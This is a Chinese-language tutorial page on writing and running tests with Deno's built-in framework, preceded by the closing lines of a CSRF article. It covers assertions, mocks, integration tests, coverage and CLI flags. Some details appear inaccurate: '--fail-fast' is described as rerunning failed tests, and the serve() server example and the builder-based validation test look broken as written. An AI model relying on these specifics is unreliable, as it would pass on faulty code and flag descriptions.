report.complianceStatus.compliant }, trends: this.calculateTrends(metrics), alerts: this.getRecentAlerts() }; }}企业级 CSRF 防护需要综合考虑架构、性能、可用性和合规性,构建一个全面、可靠的安全防护体系。
阅读 0·2月21日 16:10

Deno 的测试框架如何使用?

Deno 的测试框架提供了强大而简洁的测试功能,使得编写和运行测试变得简单高效。了解 Deno 的测试系统对于保证代码质量至关重要。测试框架概述Deno 内置了测试框架,无需安装额外的测试库。测试文件通常以 _test.ts 或 .test.ts 结尾。基本测试1. 编写第一个测试// math_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";function add(a: number, b: number): number { return a + b;}Deno.test("add function adds two numbers", () => { assertEquals(add(1, 2), 3); assertEquals(add(-1, 1), 0); assertEquals(add(0, 0), 0);});运行测试:deno test math_test.ts2. 测试异步代码// async_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";async function fetchData(id: number): Promise<{ id: number; name: string }> { // 模拟异步操作 await new Promise(resolve => setTimeout(resolve, 100)); return { id, name: `Item ${id}` };}Deno.test("fetchData returns correct data", async () => { const result = await fetchData(1); assertEquals(result.id, 1); assertEquals(result.name, "Item 1");});断言函数1. 常用断言import { assertEquals, assertNotEquals, assertExists, assertStrictEquals, assertStringIncludes, assertArrayIncludes, assertMatch, assertThrows, assertRejects,} from "https://deno.land/std@0.208.0/testing/asserts.ts";Deno.test("assertEquals examples", () => { assertEquals(1 + 1, 2); assertEquals("hello", "hello"); assertEquals({ a: 1 }, { a: 1 });});Deno.test("assertNotEquals examples", () => { assertNotEquals(1, 2); assertNotEquals("hello", "world");});Deno.test("assertExists examples", () => { assertExists("hello"); assertExists(42); assertExists({ key: "value" });});Deno.test("assertStrictEquals examples", () => { assertStrictEquals(1, 1); assertStrictEquals("hello", "hello"); // assertStrictEquals({ a: 1 }, { a: 1 }); // 会失败,因为引用不同});Deno.test("assertStringIncludes examples", () => { assertStringIncludes("hello world", "world"); assertStringIncludes("Deno is awesome", "Deno");});Deno.test("assertArrayIncludes examples", () => { assertArrayIncludes([1, 2, 3], [2]); assertArrayIncludes(["a", "b", "c"], ["b", "c"]);});Deno.test("assertMatch examples", () => { assertMatch("hello@deno.com", /@/); assertMatch("12345", /^\d+$/);});2. 测试异常import { assertThrows, assertRejects } from "https://deno.land/std@0.208.0/testing/asserts.ts";function divide(a: number, b: number): number { if (b === 0) { throw new Error("Division by zero"); } return a / b;}Deno.test("divide throws error on zero", () => { assertThrows( () => divide(10, 0), Error, "Division by zero" );});async function asyncDivide(a: number, b: number): Promise<number> { if (b === 0) { throw new Error("Division by zero"); } return a / b;}Deno.test("asyncDivide rejects on zero", async () => { await assertRejects( () => asyncDivide(10, 0), Error, "Division by zero" );});测试配置1. 测试选项Deno.test({ name: "test with options", fn: () => { // 测试代码 }, permissions: { read: true, net: true, }, sanitizeOps: true, sanitizeResources: true, sanitizeExit: true,});2. 超时设置Deno.test({ name: "slow test with timeout", fn: async () => { await new Promise(resolve => setTimeout(resolve, 2000)); }, timeout: 5000, // 5秒超时});3. 忽略测试Deno.test({ name: "ignored test", ignore: true, fn: () => { // 这个测试会被跳过 },});// 或者使用 only 只运行特定测试Deno.test({ name: "only this test", only: true, fn: () => { // 只运行这个测试 },});测试组织1. 测试套件// user_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";class User { constructor( public id: number, public name: string, public email: string ) {} greet(): string { return `Hello, ${this.name}!`; } isValid(): boolean { return this.id > 0 && this.name.length > 0 && this.email.includes("@"); }}Deno.test("User class - constructor", () => { const user = new User(1, "John", "john@example.com"); assertEquals(user.id, 1); assertEquals(user.name, "John"); assertEquals(user.email, "john@example.com");});Deno.test("User class - greet", () => { const user = new User(1, "John", "john@example.com"); assertEquals(user.greet(), "Hello, John!");});Deno.test("User class - isValid", () => { const validUser = new User(1, "John", "john@example.com"); assertEquals(validUser.isValid(), true); const invalidUser = new User(0, "", "invalid"); assertEquals(invalidUser.isValid(), false);});2. 测试钩子Deno.test({ name: "test with setup and teardown", async fn() { // Setup const db = await connectDatabase(); try { // Test const user = await db.createUser({ name: "John" }); assertEquals(user.name, "John"); } finally { // Teardown await db.close(); } }, sanitizeOps: false, sanitizeResources: false,});Mock 和 Stub1. 简单的 Mock// api_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";interface APIClient { fetchData(id: number): Promise<any>;}class RealAPIClient implements APIClient { async fetchData(id: number): Promise<any> { const response = await fetch(`https://api.example.com/data/${id}`); return response.json(); }}class MockAPIClient implements APIClient { private data: Map<number, any> = new Map(); setData(id: number, data: any) { this.data.set(id, data); } async fetchData(id: number): Promise<any> { return this.data.get(id); }}Deno.test("MockAPIClient returns mock data", async () => { const mockClient = new MockAPIClient(); mockClient.setData(1, { id: 1, name: "Test" }); const result = await mockClient.fetchData(1); assertEquals(result.id, 1); assertEquals(result.name, "Test");});2. 使用 Spy// spy_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";class Spy<T extends (...args: any[]) => any> { calls: Array<{ args: Parameters<T>; result: ReturnType<T> }> = []; wrap(fn: T): T { return ((...args: Parameters<T>) => { const result = fn(...args); this.calls.push({ args, result }); return result; }) as T; } callCount(): number { return this.calls.length; } calledWith(...args: Parameters<T>): boolean { return this.calls.some(call => JSON.stringify(call.args) === JSON.stringify(args) ); }}function processData(data: string, callback: (result: string) => void) { const result = data.toUpperCase(); callback(result);}Deno.test("processData calls callback", () => { const spy = new Spy<(result: string) => void>(); const callbackSpy = spy.wrap((result: string) => { console.log(result); }); processData("hello", callbackSpy); assertEquals(spy.callCount(), 1); assertEquals(spy.calledWith("HELLO"), true);});集成测试1. HTTP 服务器测试// server_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";import { serve } from "https://deno.land/std@0.208.0/http/server.ts";async function startTestServer(): Promise<{ port: number; stop: () => Promise<void> }> { const handler = async (req: Request): Promise<Response> => { const url = new URL(req.url); if (url.pathname === "/") { return new Response("Hello, World!"); } if (url.pathname === "/api/users") { return new Response(JSON.stringify([{ id: 1, name: "John" }]), { headers: { "Content-Type": "application/json" }, }); } return new Response("Not Found", { status: 404 }); }; const server = await serve(handler, { port: 0 }); // 使用随机端口 const port = (server.addr as Deno.NetAddr).port; return { port, stop: async () => { server.shutdown(); }, };}Deno.test("HTTP server responds to root", async () => { const { port, stop } = await startTestServer(); try { const response = await fetch(`http://localhost:${port}/`); assertEquals(response.status, 200); assertEquals(await response.text(), "Hello, World!"); } finally { await stop(); }});Deno.test("HTTP server returns JSON for /api/users", async () => { const { port, stop } = await startTestServer(); try { const response = await fetch(`http://localhost:${port}/api/users`); assertEquals(response.status, 200); assertEquals(response.headers.get("Content-Type"), "application/json"); const data = await response.json(); assertEquals(Array.isArray(data), true); assertEquals(data[0].name, "John"); } finally { await stop(); }});2. 文件系统测试// file_test.tsimport { assertEquals, assertExists } from "https://deno.land/std@0.208.0/testing/asserts.ts";async function createTestDirectory(): Promise<string> { const testDir = await Deno.makeTempDir(); return testDir;}Deno.test("file operations", async () => { const testDir = await createTestDirectory(); try { const filePath = `${testDir}/test.txt`; const content = "Hello, Deno!"; // 写入文件 await Deno.writeTextFile(filePath, content); // 读取文件 const readContent = await Deno.readTextFile(filePath); assertEquals(readContent, content); // 检查文件存在 const stat = await Deno.stat(filePath); assertExists(stat); assertEquals(stat.isFile, true); } finally { // 清理测试目录 await Deno.remove(testDir, { recursive: true }); }});测试覆盖率1. 生成覆盖率报告# 运行测试并生成覆盖率deno test --coverage=coverage# 生成覆盖率报告deno coverage coverage --lcov --output=coverage.lcov# 在浏览器中查看覆盖率deno coverage coverage --html2. 覆盖率配置// deno.json{ "compilerOptions": { "strict": true }, "test": { "include": ["src/**/*_test.ts", "tests/**/*.ts"], "exclude": ["node_modules/"] }}测试最佳实践1. 测试命名// 好的测试名称Deno.test("add returns sum of two numbers", () => {});Deno.test("divide throws error when dividing by zero", () => {});Deno.test("fetchData returns user object when given valid ID", () => {});// 不好的测试名称Deno.test("test add", () => {});Deno.test("it works", () => {});2. AAA 模式(Arrange-Act-Assert)Deno.test("calculateTotal returns correct total", () => { // Arrange - 准备测试数据 const items = [ { price: 10, quantity: 2 }, { price: 5, quantity: 3 }, ]; const expectedTotal = 35; // Act - 执行被测试的操作 const total = calculateTotal(items); // Assert - 验证结果 assertEquals(total, expectedTotal);});3. 测试隔离Deno.test("user creation", async () => { // 每个测试使用独立的数据库连接 const db = await createTestDatabase(); try { const user = await db.createUser({ name: "John" }); assertEquals(user.name, "John"); } finally { // 清理资源 await db.close(); }});4. 测试数据构建器// test-builder.tsclass UserBuilder { private user: Partial<User> = { id: 1, name: "John Doe", email: "john@example.com", }; withId(id: number): UserBuilder { this.user.id = id; return this; } withName(name: string): UserBuilder { this.user.name = name; return this; } withEmail(email: string): UserBuilder { this.user.email = email; return this; } build(): User { return this.user as User; }}// 使用构建器创建测试数据Deno.test("user validation", () => { const user = new UserBuilder() .withId(1) .withName("John") .withEmail("john@example.com") .build(); assertEquals(user.isValid(), true);});运行测试1. 基本命令# 运行所有测试deno test# 运行特定测试文件deno test math_test.ts# 监听模式(文件变化时自动运行)deno test --watch# 并行运行测试deno test --parallel# 显示详细输出deno test --verbose# 只运行失败的测试deno test --fail-fast# 允许所有权限deno test --allow-all2. 过滤测试# 运行匹配模式的测试deno test --filter="user"# 运行特定测试deno test --filter="add function"最佳实践总结测试独立性:每个测试应该独立运行,不依赖其他测试清晰的命名:测试名称应该清楚地描述测试的内容AAA 模式:使用 Arrange-Act-Assert 模式组织测试代码适当的断言:使用最合适的断言函数测试边界情况:测试正常情况和边界情况保持简单:测试应该简单、快速、易于理解定期运行:在 CI/CD 中定期运行测试覆盖率监控:监控测试覆盖率,确保代码质量Deno 的测试框架提供了强大而简洁的功能,通过合理使用这些功能,可以构建高质量的测试套件,确保代码的可靠性和可维护性。
阅读 0·2月21日 16:08